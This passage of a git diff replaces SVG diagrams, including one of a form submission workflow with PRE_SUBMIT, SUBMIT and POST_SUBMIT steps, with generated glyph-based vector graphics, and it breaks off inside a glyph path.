+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 0.578125 -1.171875 L 3.9375 -7.078125 L 4.5625 -7.859375 L 0.578125 -7.859375 L 0.578125 -9.03125 L 5.859375 -9.03125 L 5.859375 -7.859375 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.859375 -1.171875 L 5.859375 0 L 0.578125 0 Z M 0.578125 -1.171875 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface34910">
+<rect x="0" y="0" width="961" height="201" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 0 L 63 0 L 63 10 L 15 10 Z M 15 0 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24 7.592578 L 53.45 7.592578 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 53.45 7.842578 L 53.95 7.592578 L 53.45 7.342578 Z M 53.45 7.842578 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.666602 1 L 29.333398 1 C 29.977734 1 30.5 1.525 30.5 2.172461 C 30.5 2.819922 29.977734 3.344922 29.333398 3.344922 L 24.666602 3.344922 C 24.022266 3.344922 23.5 2.819922 23.5 2.172461 C 23.5 1.525 24.022266 1 24.666602 1 Z M 24.666602 1 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="201.566406" y="53.342014"/>
+  <use xlink:href="#glyph0-2" x="214.621962" y="53.342014"/>
+  <use xlink:href="#glyph0-3" x="223.510851" y="53.342014"/>
+  <use xlink:href="#glyph0-4" x="232.39974" y="53.342014"/>
+  <use xlink:href="#glyph0-5" x="240.733073" y="53.342014"/>
+  <use xlink:href="#glyph0-6" x="245.455295" y="53.342014"/>
+  <use xlink:href="#glyph0-3" x="249.89974" y="53.342014"/>
+  <use xlink:href="#glyph0-7" x="258.788628" y="53.342014"/>
+  <use xlink:href="#glyph0-8" x="266.844184" y="53.342014"/>
+  <use xlink:href="#glyph0-7" x="272.39974" y="53.342014"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 6 C 16.134375 6 16 6.134375 16 6.3 L 16 8.885352 C 16 9.050977 16.134375 9.185352 16.3 9.185352 L 23.7 9.185352 C 23.865625 9.185352 24 9.050977 24 8.885352 L 24 6.3 C 24 6.134375 23.865625 6 23.7 6 Z M 16.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="66.976562" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="77.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-10" x="86.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="97.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-11" x="102.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="107.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="116.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-13" x="121.698785" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.3 6 C 30.134375 6 30 6.134375 30 6.3 L 30 8.885352 C 30 9.050977 30.134375 9.185352 30.3 9.185352 L 36.7 9.185352 C 36.865625 9.185352 37 9.050977 37 8.885352 L 37 6.3 C 37 6.134375 36.865625 6 36.7 6 Z M 30.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-14" x="319.066406" y="160.853733"/>
+  <use xlink:href="#glyph0-15" x="328.233073" y="160.853733"/>
+  <use xlink:href="#glyph0-16" x="337.955295" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="346.566406" y="160.853733"/>
+  <use xlink:href="#glyph0-18" x="353.233073" y="160.853733"/>
+  <use xlink:href="#glyph0-16" x="361.844184" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="370.455295" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="379.621962" y="160.853733"/>
+  <use xlink:href="#glyph0-20" x="386.288628" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="396.566406" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="405.177517" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="413.233073" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.3 6 C 43.134375 6 43 6.134375 43 6.3 L 43 8.885352 C 43 9.050977 43.134375 9.185352 43.3 9.185352 L 49.7 9.185352 C 49.865625 9.185352 50 9.050977 50 8.885352 L 50 6.3 C 50 6.134375 49.865625 6 49.7 6 Z M 43.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-14" x="573.929688" y="160.853733"/>
+  <use xlink:href="#glyph0-22" x="582.818576" y="160.853733"/>
+  <use xlink:href="#glyph0-18" x="593.929688" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="602.540799" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="611.707465" y="160.853733"/>
+  <use xlink:href="#glyph0-18" x="618.374132" y="160.853733"/>
+  <use xlink:href="#glyph0-16" x="626.985243" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="635.596354" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="644.763021" y="160.853733"/>
+  <use xlink:href="#glyph0-20" x="651.429688" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="661.707465" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="670.318576" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="678.374132" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 54.3 6 C 54.134375 6 54 6.134375 54 6.3 L 54 8.885352 C 54 9.050977 54.134375 9.185352 54.3 9.185352 L 61.7 9.185352 C 61.865625 9.185352 62 9.050977 62 8.885352 L 62 6.3 C 62 6.134375 61.865625 6 61.7 6 Z M 54.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-14" x="795.589844" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="804.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="809.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-23" x="818.089844" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="826.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-23" x="835.867622" y="160.853733"/>
+  <use xlink:href="#glyph0-24" x="844.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-5" x="853.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="858.367622" y="160.853733"/>
+  <use xlink:href="#glyph0-8" x="866.423177" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="871.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-3" x="880.312066" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="889.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-11" x="893.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="898.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="907.534288" y="160.853733"/>
+  <use xlink:href="#glyph0-13" x="913.089844" y="160.853733"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 193.550781 161 L 288.449219 161 L 288.449219 184.398438 L 193.550781 184.398438 Z M 193.550781 161 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="193.5" y="179.407118"/>
+  <use xlink:href="#glyph1-2" x="199.611111" y="179.407118"/>
+  <use xlink:href="#glyph1-3" x="207.111111" y="179.407118"/>
+  <use xlink:href="#glyph1-4" x="212.111111" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="221.555556" y="179.407118"/>
+  <use xlink:href="#glyph1-3" x="228.777778" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="233.777778" y="179.407118"/>
+  <use xlink:href="#glyph1-6" x="241" y="179.407118"/>
+  <use xlink:href="#glyph1-7" x="245.166667" y="179.407118"/>
+  <use xlink:href="#glyph1-8" x="253.222222" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="261" y="179.407118"/>
+  <use xlink:href="#glyph1-3" x="268.222222" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="273.222222" y="179.407118"/>
+  <use xlink:href="#glyph1-9" x="280.444444" y="179.407118"/>
+  <use xlink:href="#glyph1-10" x="284.611111" y="179.407118"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 457.976562 122.601562 L 544.027344 122.601562 L 544.027344 146 L 457.976562 146 Z M 457.976562 122.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-11" x="457.953125" y="141.008681"/>
+  <use xlink:href="#glyph1-12" x="466.008681" y="141.008681"/>
+  <use xlink:href="#glyph1-13" x="473.786458" y="141.008681"/>
+  <use xlink:href="#glyph1-14" x="478.786458" y="141.008681"/>
+  <use xlink:href="#glyph1-5" x="490.453125" y="141.008681"/>
+  <use xlink:href="#glyph1-15" x="497.675347" y="141.008681"/>
+  <use xlink:href="#glyph1-16" x="501.842014" y="141.008681"/>
+  <use xlink:href="#glyph1-17" x="505.730903" y="141.008681"/>
+  <use xlink:href="#glyph1-5" x="512.119792" y="141.008681"/>
+  <use xlink:href="#glyph1-3" x="519.342014" y="141.008681"/>
+  <use xlink:href="#glyph1-16" x="524.342014" y="141.008681"/>
+  <use xlink:href="#glyph1-12" x="528.230903" y="141.008681"/>
+  <use xlink:href="#glyph1-11" x="536.008681" y="141.008681"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 27 3.344922 L 27 6.95 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.75 6.95 L 27 7.45 L 27.25 6.95 Z M 26.75 6.95 " transform="matrix(20,0,0,20,-299,1)"/>
+</g>
 </svg>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
index b58e11190a1..d6d138ee61a 100644
--- a/_images/form/form_submission_workflow.svg
+++ b/_images/form/form_submission_workflow.svg
@@ -1,76 +1,334 @@
-<svg width="400" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <g id="submission">
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1920">
-        <tspan xml:space="preserve" x="1300" y="1920">  denormalization</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1781.61" width="93.75" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1800">
-        <tspan xml:space="preserve" x="1300" y="1800">  normalization</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1100" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1180" y="1579.84">
-        <tspan x="1180" y="1579.84">New form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1340" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1420" y="1579.84">
-        <tspan x="1420" y="1579.84">Prepopulated form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1220" y="2040" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="2079.84">
-        <tspan x="1300" y="2079.84">Submitted form</tspan>
-      </text>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1180,1603.71 1180,1640 1300,1640 1300,2028 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2028 1300,2038 1305,2028 "/>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1420,1603.71 1420,1640 1300,1640 1300,2029 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2029 1300,2039 1305,2029 "/>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1004.16 1645 L 1100.81,1645 C 1114.16,1645 1124.98,1655.5 1124.98,1668.45 C 1124.98,1681.4 1114.16,1691.9 1100.81,1691.9 L 1004.16,1691.9 C 990.818,1691.9 980,1681.4 980,1668.45 C 980,1655.5 990.818,1645 1004.16,1645z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1052.49" y="1676.43">
-        <tspan x="1052.49" y="1676.43">Request data</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1220" y="1613.61" width="158.75" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1220" y="1632">
-        <tspan x="1220" y="1632">handleRequest($request) </tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1124.98" y1="1668.45" x2="1286" y2="1669.67"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1285.96,1674.67 1296,1669.74 1286.04,1664.67 "/>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1700" width="120" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1739.84">
-        <tspan x="1300" y="1739.84">PRE_SUBMIT</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1820" width="120" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1859.84">
-        <tspan x="1300" y="1859.84">SUBMIT</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1940" width="120" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1979.84">
-        <tspan x="1300" y="1979.84">POST_SUBMIT</tspan>
-      </text>
-    </g>
-  </g>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="541pt" height="601pt" viewBox="0 0 541 601" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 